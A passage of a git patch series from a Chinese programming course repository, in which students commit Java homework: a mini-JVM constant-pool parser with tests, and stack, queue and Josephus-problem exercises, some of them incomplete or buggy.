+				nameAndTypeInfo.setIndex1(nameIndex);
+				nameAndTypeInfo.setIndex2(descIndex);
+				constantInfo = nameAndTypeInfo;
+				
+			}else{
+				throw new RuntimeException("type: "+type+" 不在范围之内");
+			}
+			
+			constantPool.addConstantInfo(constantInfo);
+		}
+		
+		return constantPool;
+	}
+	
+
+	
+	
+}
diff --git a/group19/1294642551/test/jvm/ClassFileloaderTest.java b/group19/1294642551/test/jvm/ClassFileloaderTest.java
index 55eebaa222..d7e2312925 100644
--- a/group19/1294642551/test/jvm/ClassFileloaderTest.java
+++ b/group19/1294642551/test/jvm/ClassFileloaderTest.java
@@ -1,7 +1,5 @@
 package jvm;
 
-import java.io.File;
-import java.util.List;
 
 import org.junit.After;
 import org.junit.Assert;
@@ -10,18 +8,12 @@
 
 import jvm.clz.ClassFile;
 import jvm.clz.ClassIndex;
-import jvm.cmd.BiPushCmd;
-import jvm.cmd.ByteCodeCommand;
-import jvm.cmd.OneOperandCmd;
-import jvm.cmd.TwoOperandCmd;
 import jvm.constant.ClassInfo;
 import jvm.constant.ConstantPool;
 import jvm.constant.MethodRefInfo;
 import jvm.constant.NameAndTypeInfo;
 import jvm.constant.UTF8Info;
-import jvm.field.Field;
 import jvm.loader.ClassFileLoader;
-import jvm.method.Method;
 
 
 
@@ -33,7 +25,15 @@ public class ClassFileloaderTest {
 	static String path1 = "D:\\Git Files\\coding2017\\group19\\1294642551\\bin";
 	static String path2 = "D:\\TempFiles";
 	
-
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "jvm.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		
+	}
 	
 	@Before
 	public void setUp() throws Exception {		 
@@ -101,6 +101,96 @@ private String byteToHexString(byte[] codes ){
    		}
    		return buffer.toString();
    	}
+   	
+   	//----------------常量池测试-----------------------------------------
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(50, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
 
  
 }

From 15b45d6a2bf4f692554cc25ae948bd681e5052c6 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Sat, 6 May 2017 16:35:25 +0800
Subject: [PATCH 200/262] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E6=B5=8B=E8=AF=95?=
 =?UTF-8?q?=E7=94=A8=E4=BE=8B?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../miniyk2012/coding2017/basic/stack/QuickMinStackTest.java | 5 +----
 .../coding2017/basic/stack/TwoStackInOneArrayTest.java       | 3 +--
 2 files changed, 2 insertions(+), 6 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java
index 3a82462631..074f157707 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/QuickMinStackTest.java
@@ -26,7 +26,6 @@ public void tearDown() throws Exception {
     public void test() {
         stack = new QuickMinStack<Integer>();
 
-
         stack.push(5);
         stack.push(3);
         stack.push(2);
@@ -58,11 +57,9 @@ public void test() {
         assertEquals(3, stack.pop());  // [5]
         assertEquals(5, stack.findMin());
         assertEquals(5, stack.pop());  // []
-
-
+        
         //栈为空，抛出异常
         expectedEx.expect(Exception.class);
-        stack.findMin();
         stack.pop();
 
     }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArrayTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArrayTest.java
index a390199d6d..619b904ec7 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArrayTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/TwoStackInOneArrayTest.java
@@ -79,9 +79,8 @@ public void test() {
 
 	assertNull(stack.peek1());
 	assertNull(stack.peek2());
-	// 栈1,2为空，抛出异常
+	// 栈1为空，抛出异常
 	expectedEx.expect(Exception.class);
-	stack.pop2();
 	stack.pop1();
 	}
 

From 847b7f48a3892a8c29db5c1b75c1692eaeb751c0 Mon Sep 17 00:00:00 2001
From: jy <977996067@qq.com>
Date: Sat, 6 May 2017 16:55:22 +0800
Subject: [PATCH 201/262] =?UTF-8?q?5.6=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/task9/stack/QuickMinStack.java        |  28 +++++
 .../src/task9/stack/StackWithTwoQueue.java    |  25 +++++
 .../src/task9/stack/TwoStackInOneArray.java   | 106 ++++++++++++++++++
 3 files changed, 159 insertions(+)
 create mode 100644 group15/1507_977996067/src/task9/stack/QuickMinStack.java
 create mode 100644 group15/1507_977996067/src/task9/stack/StackWithTwoQueue.java
 create mode 100644 group15/1507_977996067/src/task9/stack/TwoStackInOneArray.java

diff --git a/group15/1507_977996067/src/task9/stack/QuickMinStack.java b/group15/1507_977996067/src/task9/stack/QuickMinStack.java
new file mode 100644
index 0000000000..22dc3640a4
--- /dev/null
+++ b/group15/1507_977996067/src/task9/stack/QuickMinStack.java
@@ -0,0 +1,28 @@
+package task9.stack;
+
+import java.util.*;
+
+public class QuickMinStack<T extends Comparable<T>> {
+
+    private List<T> magicList = new ArrayList<>();
+
+    private Stack<T> dataStack = new Stack<>();
+
+    public void push(T data) {
+        dataStack.push(data);
+        magicList.add(data);
+        magicList.sort(Comparator.naturalOrder());
+    }
+
+    public T pop() {
+        T result = dataStack.pop();
+        magicList.remove(result);
+        return result;
+    }
+
+    public T findMin() {
+        T minResult = magicList.get(0);
+        dataStack.remove(minResult); // sad
+        return minResult;
+    }
+}
diff --git a/group15/1507_977996067/src/task9/stack/StackWithTwoQueue.java b/group15/1507_977996067/src/task9/stack/StackWithTwoQueue.java
new file mode 100644
index 0000000000..51532056a0
--- /dev/null
+++ b/group15/1507_977996067/src/task9/stack/StackWithTwoQueue.java
@@ -0,0 +1,25 @@
+package task9.stack;
+
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+public class StackWithTwoQueue<T> {
+
+    private Queue<T> queue1 = new ArrayDeque<>();
+    private Queue<T> queue2 = new ArrayDeque<>();
+
+    public void push(T data) {
+        queue1.add(data);
+    }
+
+    public T pop() {
+        while (!queue1.isEmpty()) {
+            queue2.add(queue1.poll());
+        }
+        T result = queue2.poll();
+        while (!queue2.isEmpty()) {
+            queue1.add(queue2.poll());
+        }
+        return result;
+    }
+}
diff --git a/group15/1507_977996067/src/task9/stack/TwoStackInOneArray.java b/group15/1507_977996067/src/task9/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..578c696bb1
--- /dev/null
+++ b/group15/1507_977996067/src/task9/stack/TwoStackInOneArray.java
@@ -0,0 +1,106 @@
+package task9.stack;
+
+import java.util.Objects;
+
+public class TwoStackInOneArray {
+
+    private static final String INDEX_EXCEPTION_MSG = "数组越界了";
+    private static final int DEFAULT_SIZE = 10;
+
+    private Object[] data;
+
+    private int length = DEFAULT_SIZE;
+
+    public TwoStackInOneArray() {
+        data = new Object[length];
+    }
+
+    public TwoStackInOneArray(int size) {
+        this.length = size;
+        data = new Object[length];
+    }
+
+    private int leftSize = 0;
+    private int rightSize = 0;
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+        checkIndexRange();
+        data[leftSize++] = o;
+    }
+
+    private void checkIndexRange() {
+        if (leftSize + rightSize > length) {
+            throw new RuntimeException(INDEX_EXCEPTION_MSG);
+        }
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        if (leftSize <= 0) {
+            throw new RuntimeException(INDEX_EXCEPTION_MSG);
+        }
+        Object result = data[0];
+        Object[] temp = new Object[length];
+        System.arraycopy(data, 1, temp, 0, leftSize - 1);
+        System.arraycopy(data, length - rightSize, temp, length - rightSize, rightSize);
+        data = temp;
+        leftSize--;
+        return result;
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek1() {
+        return data[0];
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+        checkIndexRange();
+        data[length - rightSize - 1] = o;
+        rightSize++;
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+        if (rightSize <= 0) {
+            throw new RuntimeException(INDEX_EXCEPTION_MSG);
+        }
+        Object result = data[length - 1];
+        Object[] temp = new Object[length];
+        System.arraycopy(data, 0, temp, 0, leftSize);
+        System.arraycopy(data, length - rightSize, temp, length - rightSize + 1, rightSize - 1);
+        data = temp;
+        leftSize--;
+        return result;
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek2() {
+        return data[length - 1];
+    }
+}

From f7c90f1cafbd018975ed1935b2e5f7007d46e432 Mon Sep 17 00:00:00 2001
From: ZhaoHongxin <zhaohongxin621@126.com>
Date: Sat, 6 May 2017 17:01:10 +0800
Subject: [PATCH 202/262] =?UTF-8?q?queue=E6=95=B0=E6=8D=AE=E7=BB=93?=
 =?UTF-8?q?=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coding/basic/queue/CircleQueue.java   | 69 +++++++++++++++++++
 .../src/com/coding/basic/queue/Josephus.java  | 33 +++++++++
 .../com/coding/basic/queue/JosephusTest.java  | 27 ++++++++
 .../src/com/coding/basic/queue/Queue.java     | 61 ++++++++++++++++
 .../basic/queue/QueueWithTwoStacks.java       | 55 +++++++++++++++
 .../com/coding/basic/stack/QuickMinStack.java | 19 +++++
 .../basic/stack/StackWithTwoQueues.java       | 16 +++++
 .../basic/stack/TwoStackInOneArray.java       | 57 +++++++++++++++
 8 files changed, 337 insertions(+)
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/queue/JosephusTest.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/queue/Queue.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/stack/QuickMinStack.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackWithTwoQueues.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/stack/TwoStackInOneArray.java

diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/queue/CircleQueue.java b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..40ca7613d9
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,69 @@
+package com.coding.basic.queue;
+
+/**
+ * 用数组实现循环队列
+ * 没有牺牲一个元素空间，所以判断队空，队满需要取数据验证。
+ * @author zhaohongxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public boolean isEmpty() {
+		
+		return elementData[front]==null;
+        
+    }
+
+    public int size() {
+    	if (isFull()) {
+    		return DEFAULT_SIZE;
+    	} else if (isEmpty()) {
+    		return 0;
+    	} else if (front < rear) {
+    		return rear - front;
+    	} else {
+    		return rear + DEFAULT_SIZE -front; 
+    	}
+    }
+
+    public void enQueue(E data) {
+    	if (isFull()) {
+    		throw new RuntimeException("queue is full");
+    	}
+        elementData[rear] = data;
+        if (rear == DEFAULT_SIZE ) {
+        	rear = 0;
+        } else {
+        	rear++;
+        }
+    }
+
+    public E deQueue() {
+    	if (isEmpty()) {
+    		throw new RuntimeException("queue is empty");
+    	}
+    	E a = (E) elementData[front];
+    	elementData[front] = null;
+    	if (front == DEFAULT_SIZE ) {
+    		front = 0;
+        } else {
+        	front++;
+        }
+        return a;
+    }
+    
+    public boolean isFull() {
+    	return !isEmpty() && front==rear;
+    }
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/queue/Josephus.java b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..cea71edd88
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,33 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){	
+		Queue queue = new Queue();
+		Queue q = new Queue();
+		for (int i = 0; i < n; i++) {
+			queue.enQueue(i);
+		}
+		List<Integer> list = new ArrayList<Integer>();
+		int count = 1;
+		while(queue.size()>0) {
+			if (count%m==0) {
+				list.add((Integer) queue.deQueue());
+			} else {
+				queue.enQueue(queue.deQueue());
+			}
+			count ++;
+		}
+		return list;
+	}
+	
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/queue/JosephusTest.java b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..7f0f2a9078
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/queue/Queue.java b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..1430d84f7c
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..ad467b9c02
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,55 @@
+package com.coding.basic.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    
+
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+
+    
+    public int size() {
+        return stack1.size()+stack2.size();   
+    }
+
+
+
+    public void enQueue(E item) {
+       stack1.push(item);
+    }
+
+    public E deQueue() {
+    	if (isEmpty()) {
+    		throw new RuntimeException("queue is empty");
+    	}
+    	while(stack2.isEmpty()) {
+    		while(!stack1.isEmpty()) {
+    			stack2.push(stack1.pop());
+    		}
+    	}
+        return stack2.pop();
+    }
+
+
+
+ }
+
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/QuickMinStack.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..4f257ab9fb
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,19 @@
+package com.coding.basic.stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	public void push(int data){
+		
+	}
+	public int pop(){
+		return -1;
+	}
+	public int findMin(){
+		return -1;
+	}
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackWithTwoQueues.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..6f1d5bd04d
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,16 @@
+package com.coding.basic.stack;
+
+
+public class StackWithTwoQueues {
+	
+
+    public void push(int data) {       
+
+    }
+
+    public int pop() {
+       return -1;
+    }
+
+    
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/TwoStackInOneArray.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..53a902ba17
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		return null;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		return null;
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		return null;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		return null;
+	}
+	
+}

From bd6649cb3a80d99b7f2fb1c3a220297b96348660 Mon Sep 17 00:00:00 2001
From: GordenChow <513274874@qq.com>
Date: Sat, 6 May 2017 19:42:57 +0800
Subject: [PATCH 203/262] =?UTF-8?q?Jvm=E7=AC=AC=E4=BA=94=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E6=8F=90=E4=BA=A4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Jvm第五次作业提交
---
 .../com/coding/basic/queue/CircleQueue.java   | 80 +++++++++++++++++++
 .../src/com/coding/basic/queue/Josephus.java  | 44 ++++++++++
 .../com/coding/basic/queue/JosephusTest.java  | 27 +++++++
 .../src/com/coding/basic/queue/Queue.java     | 61 ++++++++++++++
 .../basic/queue/QueueWithTwoStacks.java       | 63 +++++++++++++++
 5 files changed, 275 insertions(+)
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/queue/JosephusTest.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/queue/Queue.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java

diff --git a/group27/513274874/data-structure/src/com/coding/basic/queue/CircleQueue.java b/group27/513274874/data-structure/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..b346bb6044
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,80 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+    private final static int INCREAMENT_SIZE = 5;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public boolean isEmpty() {
+		return front == rear;
+        
+    }
+
+    public int size() {
+        return rear > front ? rear-front : elementData.length - (front-rear);
+    }
+
+    
+
+    public void enQueue(E data) {
+        //empty
+        if(this.isEmpty()){
+            elementData[front] = data;
+            rear++;
+            return;
+        }
+
+        //oversize enlarge elementData
+        if(this.size() == elementData.length){
+            Object[] newElementData = new Object[elementData.length + INCREAMENT_SIZE];
+            int index = 0;
+            for(int i = front ; i==rear; i++){
+                if(i == this.size()-1){
+                    i = 0 ;
+                }
+                newElementData[index++] = elementData[i];
+            }
+
+            elementData = newElementData;
+        }else{
+            if(rear == elementData.length-1){
+                rear = 0;
+            }else{
+                rear++;
+            }
+            elementData[rear] = data;
+        }
+
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+            throw new NoSuchElementException("Queue underflow");
+        }
+        //rear is the first element
+        if(rear == 0 ){
+            E data = (E)elementData[rear];
+            rear = elementData.length -1 ;
+            return data ;
+        }else {
+            return (E)elementData[rear--];
+        }
+
+    }
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/queue/Josephus.java b/group27/513274874/data-structure/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..d565c8318f
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,44 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+
+		Queue<Integer> queue = new Queue<>();
+
+		List<Integer> killed = new ArrayList<>();
+
+		for(int i = 0 ;i< n ;i++){
+			queue.enQueue(i);
+		}
+
+		int index = 0;
+
+		while( !queue.isEmpty()){
+
+			Integer num = queue.deQueue();
+
+			index ++;
+
+			if(index % m == 0){
+				killed.add(num);
+			}else {
+				queue.enQueue(num);
+			}
+		}
+		return killed;
+	}
+
+
+	
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/queue/JosephusTest.java b/group27/513274874/data-structure/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..7d90318b51
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/queue/Queue.java b/group27/513274874/data-structure/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..c4c4b7325e
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group27/513274874/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..972bde1e7b
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,63 @@
+package com.coding.basic.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+    //store data
+	private Stack<E> stack1;
+
+    //temp memory
+    private Stack<E> stack2;    
+
+    private int size;
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
